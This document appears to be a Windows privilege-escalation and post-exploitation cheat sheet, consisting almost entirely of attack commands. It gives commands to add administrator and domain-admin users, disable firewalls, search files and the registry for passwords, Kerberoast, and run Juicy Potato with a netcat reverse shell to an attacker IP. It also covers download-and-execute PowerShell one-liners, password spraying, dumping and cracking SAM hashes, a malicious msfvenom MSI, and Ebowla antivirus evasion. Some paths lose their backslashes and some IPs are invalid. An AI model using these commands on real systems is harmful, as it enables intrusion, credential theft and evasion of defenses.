All commands listed here assumes you have a command prompt…
All listed items are separate commands unless otherwise specified…
SystemInfo
Network Users and Statistics
Firewall
Services and Tasks
Powershell Policy Unrestricted
View Hotfixes
List Domain Controller
Searches on Windows
Find Modules
PowerUp.ps1
Kerberoast
Juicy Potato
Inspect Files and Folders
Directory Enumeration
One-Liner Ping Script
Change Passwords
Unquoted Service Path
Crackmapexec
Brute-Force Examples
Credential Reuse
PsExec Connections
RPC
Remote Desktop
SQL
Common Enumeration Tools
Enable Windows Installer
SAM Dumps
File Transfers
Anti-Virus Evasion
Restart Windows
… Windows Versions to reference:
Operating System Version Number
Windows 1.0 1.04
Windows 2.0 2.11
Windows 3.0 3
Windows NT 3.1 3.10.528
Windows for Workgroups 3.11 3.11 Windows NT Workstation 3.5 3.5.807 Windows NT Workstation 3.51 3.51.1057 Windows 95 4.0.950 Windows NT Workstation 4.0 4.0.1381 Windows 98 4.1.1998 Windows 98 Second Edition 4.1.2222 Windows Me 4.90.3000 Windows 2000 Professional 5.0.2195 Windows XP 5.1.2600 Windows Vista 6.0.6000 Windows 7 6.1.7600 Windows 8.1 6.3.9600 Windows 10 10.0.10240
systeminfo | findstr "OS"
systeminfo
# EXACT WINDOWS VERSION
type C:/Windows/system32/eula.txt
# CURRENT USER
whoami /priv
whoami /all
# NETWORK STATS
netstat -ano #network statistics
netstat -aton #open connections
ipconfig
route print
arp -a #ip to physical address
# COMPUTER INFO
hostname
# USERS
net user
net user /domain
net user administrator /domain
net localgroup #local PC usergroups
net localgroup /domain
net localgroup "administrators" /domain
net group
net group /domain
net group "Domain Admins" /domain
# ADD USER
net user user user /add
net localgroup "Remote Desktop Users" user /add
net localgroup administrators user /add
# ADD DOMAIN USER
net user username password /add /domain
net group "Domain Admins" username /add /domain
# DRIVES / SERVICES
net use #mapped network drives
net start #shows services (manage services)
# ALL NETWORK STUFF AT ONCE
ipconfig /all & route print & arp -a
# FIREWALL STATUS AND CONFIGS
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall
# SOMETIMES FIREWALL WILL NEED TO BE DISABLED
netsh firewall set opmode disable
net start
wmic service list brief
tasklist /SVC
Schtasks /query /fo LIST /v
wmic service get name,startname
wmic process where "name='chrome.exe'" get ProcessID, ExecutablePath set
# OFTEN USEFUL
Set-ExecutionPolicy Unrestricted
wmic qfe
%logonserver%
# GRAB CREDS FROM GPP
net use z: \dc01SYSVOL
cd C:WindowsSYSVOL
dir /s Groups.xml
findstr -si cpassword C:..Groups.xml
# Groups.xml file, find "cpassword", then gpp-decrypt on kali
# SEARCH AROUND
dir /s *password*
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
findstr /spin "password" *.*
dir /s *pass* == *cred* == *vnc* == *.config*
# COMMON FILES WITH INFO
type c:sysprep.inf
type c:sysprepsysprep.xml
type c:unattend.xml
type %WINDIR%PantherUnattendUnattended.xml
type %WINDIR%PantherUnattended.xml
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
dir c: /s /b | findstr /si *vnc.ini
# REGISTRY DUMPS
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon"
reg query "HKLMSYSTEMCurrentControlSetServicesSNMP"
reg query "HKCUSoftwareSimonTathamPuTTYSessions"
reg query HKEY_LOCAL_MACHINESOFTWARERealVNCWinVNC4 /v password
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
cd %appdata%
… found here (only one example of many)
C:powershell.exe -nop -exec bypass
C:import-module PowerUp.ps1
C:Invoke-AllChecks
# DOWNLOAD AND USE
C:tmp> powershell.exe Invoke-WebRequest -Uri "http://192.168.1.299:443/PowerUp.ps1" -OutFile "C:tmppu.ps1"
C:tmp> powershell.exe import-module C:tmppu.ps1
# RUN REMOTELY (IN MEMORY)
powershell -nop -exec bypass -c "IEX (New-Object Net.webClient).DownloadString('https://192.168.1.299:443/PowerUp.ps1'); Invoke-AllChecks"
LOOK FOR THINGS LIKE THIS:
ModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : Everyone
… found here (only one example of many)
# UPLOAD SCRIPT AND DUMP TOKEN
c:tmp>powershell -ExecutionPolicy Bypass
PS C:tmp> Import-Module .Invoke-Kerberoast.ps1
PS C:tmp> Invoke-Kerberoast -OutputFormat Hashcat | fl
# ELIMINATE ALL LINE BREAKS AND CRACK
hashcat -m 13100
===============================
# OR REMOTELY WITH CREDENTIALS
impacket-GetUserSPNs domain.com/SVC_Account:password -dc-ip 10.10.10.299 -request
# CRACK THE GIVEN TOKEN
hashcat -m 13100
# CONNECT WITH NEW CREDENTIALS
impacket-psexec active.htb/Administrator:[email protected]
… test script found here (takes approx 15 mins to run)
… list of raw Win 10 CLSIDs found here
… Juicy Potato repo with all CLSIDs found here
# IF YOU CAN TRANSFER WITH SMB
copy \ipsharefolder_with_jp_assets
Directory of c:tmp
04/20/2022 04:18 AM <DIR> .
04/20/2022 04:18 AM <DIR> ..
04/19/2022 11:04 PM 33,813 CLSID.list
04/19/2022 11:04 PM 276 clsidfind.bat
04/20/2022 04:15 AM 46 clsidrev3000.bat
04/19/2022 11:02 PM 263,680 jp.exe
04/19/2022 11:02 PM 213,680 nc.exe
c:tmp>.clsidfind.bat
.clsidfind.bat
{C3A4B402-5900-4AB9-8D2F-F941CD24203B} 10000
{C28D5211-B8E1-44FB-994D-767725BFA20E} 10000
{BEDC0CDA-4771-4C84-A291-7DFC5AEC4745} 10000
[...]
c:tmp>type result.log
type result.log
{6d18ad12-bde3-4393-b311-099c346e6df9};NT AUTHORITYSYSTEM
{69AD4AEE-51BE-439b-A92C-86AE490E8B30};NT AUTHORITYSYSTEM
{F087771F-D74F-4C1A-BB8A-E16ACA9124EA};NT AUTHORITYSYSTEM
[...]
# CONTENTS OF rev3000.bat
# c:tmpnc.exe 192.168.119.299 3000 -e cmd.exe
jp -l 3000 -p rev3000.bat -t * -c {F087771F-D74F-4C1A-BB8A-E16ACA9124EA}
file <filename>
# SHORTNAME NOMENCLATIRE
# FIRST 6 CHARS + ~1
C:Program FilesLongName
C:PROGRA~1LONGNA~1
icacls <file>
cacls <file>
…search for hidden directories
cmd.exe /c dir /a C:/
…show files and subdirectories
gci -Recurse C:users | Select FullName
ls "C:Program Files"
ls "C:Program Files (x86)"
… Nishang’s scripts here
# CMD SHELL PING
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i > nul && echo 10.5.5.%i is up.
# POWER SHELL PING
FOR /L %i IN (1,1,254) DO ping -n 1 10.1.1.%i | FIND /i "Reply"
# EXECUTE REVERSE SHELL SCRIPT REMOTELY
# JUST RENAME TO shell.ps1 AND HOST THE FILE
powershell -c iex(new-object net.webclient).downloadstring(‘http://10.10.14.7:5555/shell.ps1')
net user username newpassword
… you may be able to create a binary to stick into an empty path
… Windows will look through the entire path for the requested binary
… if it hits your binary first, it’ll execute the one it finds
# DISPLAY SERVICES / PATHS
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr /i /v """
crackmapexec smb 10.10.1.299
crackmapexec smb 10.10.1.299 -u users.txt -p password.txt --continue-on-success >> cme_spray_10.10.1.299.txt
crackmapexec smb 10.10.1.299 -u username.txt -p password.txt --continue-on-success >> sprayoutput24.txt
hydra -L users.txt -P passwords.txt ftp://10.10.1.299
ncrack -U users.txt -P passwords.txt ftp://10.10.1.299
patator ftp_login host=10.10.1.299 user=FILE0 password=FILE1 0=users.txt 1=passwords.txt
medusa -h 10.10.1.299 -u admin -P rockyou.txt -M http -m DIR:/admin
kerbrute -domain 10.10.1.229 -user user -passwords ./passtest.txt -outputfile kerbrute_user.txt
# IF YOU HAVE DOMAIN USER CREDENTIALS
runas.exe /env /noprofile /user:username password "c:usersPublicnc.exe -nc 192.168.119.299 3000 -e cmd.exe"
…this works well for privilege escalation
psexec.exe -i -accepteula -d -s c:tmpreverse_80.exe
sudo impacket-psexec user:password@ip
sudo python3 /usr/share/doc/python3-impacket/examples/psexec.py domain.con/user:password@ip
…reveals a ton of information if available
impacket-rpcdump ip
rdesktop -u user -p password
# ENABLE REMOTE DESKTOP
reg add "hklmsystemcurrentcontrolsetcontrolterminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
# SOMETIMES FIREWALL WILL NEED TO BE DISABLED
netsh firewall set opmode disable
# OR YOU CAN ADD A NEW USER
net user test 1234 /add
net localgroup administrators test /add
sqsh -S ip -U user
…look here for examples
Automate the upload with this…
… jaws-enum.ps1 – simple powershell script
… windows-exploit-suggester.py – simple python script leveraging systeminfo output
… wes.py – same as windows-exploit-suggester, but updated
… nishang scripts – for all stages of pen testing
… windows-priv-checker2 – great for an html file display
# POSSIBLY RUN A FILE
powershell -ExecutionPolicy Bypass -File <file.ps1>
# JAWS
powershell -ExecutionPolicy Bypass -File jaws-enum.ps1
# WINDOWS-SUGGESTER
# RUN ON KALI W/systeminfo FILE FROM WINDOWS
windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database <seen_from_update> --systeminfo systeminfo.txt
# WES
# AQUIRE systeminfo FROM TARGET
wes.py --update
wes.py systeminfo.txt
# WINDOWS PRIVESC CHECKER 2
# OR CHANGE NAME FOR EASE: wpc2.exe
.windows-privesc-check2.exe --audit -a -o wpc-report
# LAZAGNE
.lazagne_pw_dump.exe all
… msi files are used for installations
… these can be created and the system may be able to install them
… use msi for a reverse shell
# ALWAYSINSTALLELEVATED - System Setting
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
# CREATE PAYLOAD TO ADD USER
msfvenom -p windows/adduser USER=newuser PASS=newpassword -f msi -o malicious.msi
# INSTALL TO EXECUTE
msiexec /quiet /qn /i C:malicious.msi
… SAM dumps are not possible when system is running
… programs can dump them by memory, or you can use the registry
… use msi for a reverse shell
LAN Manager (LM)DES
Windows NT-2003
Passwords longer than 7 chars split into two strings and is hashed separately
Passwords converted to uppercase before hashing
No salt
NT LAN Manager (NTLM)MD4
Windows Vista+
No limit to two 7 char parts
Case sensitive
No salt
# DUMP SAMS (REQUIRES PRIV ACCESS)
reg save hklmsam c:tmpsam
reg save hklmsystem c:tmpsystem
# TRANSFER TO KALI
copy sam \192.168.119.188share
copy system \192.168.119.188share
# COMBINE THE FILES
samdump2 system sam
user::1004:aad3b435b51404eeeeeee435b51404ee:b74242f37e4737eeeeeeea6ebcac4ffe:::
# FOR HASHCAT, USE SECOND PART OF THE HASH
b74242f37e4737eeeeeeea6ebcac4ffe
hashcat -m 1000 user.hash /usr/share/wordlists/rockyou.txt
# POWERSHELL - TRANSFER TO TARGET
powershell.exe (New-ObjectSystem.Net.WebClient).DownloadFile('http://10.11.0.4/whoami.exe', 'c:UsersPublicwhoami.exe')
(new-object System.Net.WebClient).DownloadFile('http://192.168.119.188:443/mimikatz64.exe','C:tmpmmk.exe')
powershell.exe Invoke-WebRequest -Uri "http://192.168.119.188:443/PowerUp.ps1" -OutFile "C:tmpwp64.exe"
powershell.exe Invoke-WebRequest -Uri "http://192.168.119.188:443/PowerUp.ps1" -OutFile "C:tmppu.ps1"
powershell iwr http://192.168.119.188:443/system.ps1 -outfile ./shell.ps1
# RUN SCRIPT FROM ATTACK MACHINE
powershell IEX(New-Object Net.webclient).downloadString('http://ip/shell.ps1')
# OR
powershell -c iex(new-object net.webclient).downloadstring('http://10.10.1.299:443/shell.ps1')
# CMD
copy \attack-ipsharefile
… reverse shell (shell.ps1) reference here
… Ebowla found here
… Encrypts the payload of the payload with environment variables
… Makes the encryption key pieces part of the env code
–purpose is to have it on the computer to decode for DYNAMIC engines
–also makes sure payload is only made for THAT TARGET
–uses the COMPUTER DOMAIN only, so won’t work on someone’s home computer
https://github.com/Genetic-Malware/Ebowla.git
Encryps the payload of the payload with environment variables
Makes the encryption key pieces part of the env code
-purpose is to have it on the computer to decode for DYNAMIC engines
-also makes sure payload is only made for THAT TARGET
-uses the COMPUTER DOMAIN only, so won't work on someone's home computer
vim genetic.conf
CHANGE
output_type = GO
payload_type = EXE
[[ENV VAR]]
username = '' (deleted)
computername = 'TALLY' (got from hostname on shell)
userdomain = '' (deleted)
THEN CREATE THE PAYLOAD
NOTE: NEED configobj and GO, ON PYTHON2 TO MAKE THIS WORK
└─$ pip2 install configobj
└─$ sudo apt install golang
python2 embowla.py <filename>
USE MSFVENOM TO CREATE THE FILE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.1.299 LPORT=80 -f exe -a x64 -o shell.exe
file shell.exe (to make sure it's 64 bit encoded per the target machine)
OUTPUT: shell.exe: PE32+ executable (GUI) x86-64, for MS Windows
USE EBOWLA TO CREATE THE GO FILE
└─$ python2 ebowla.py ../smbuploads/shell.exe genetic.config
BUILD WITH GO
└─$ ./build_x64_go.sh output/go_symmetric_shell.exe.go ebowla_shell.exe
file ebowla_shell.exe
OUTPUT: ebowla_shell.exe: PE32+ executable (console) x86-64, for MS Windows
CAN USE virustotal.com TO TEST THE NEW PAYLOAD
… reverse shell (shell.ps1) reference here
shutdown /r /t 0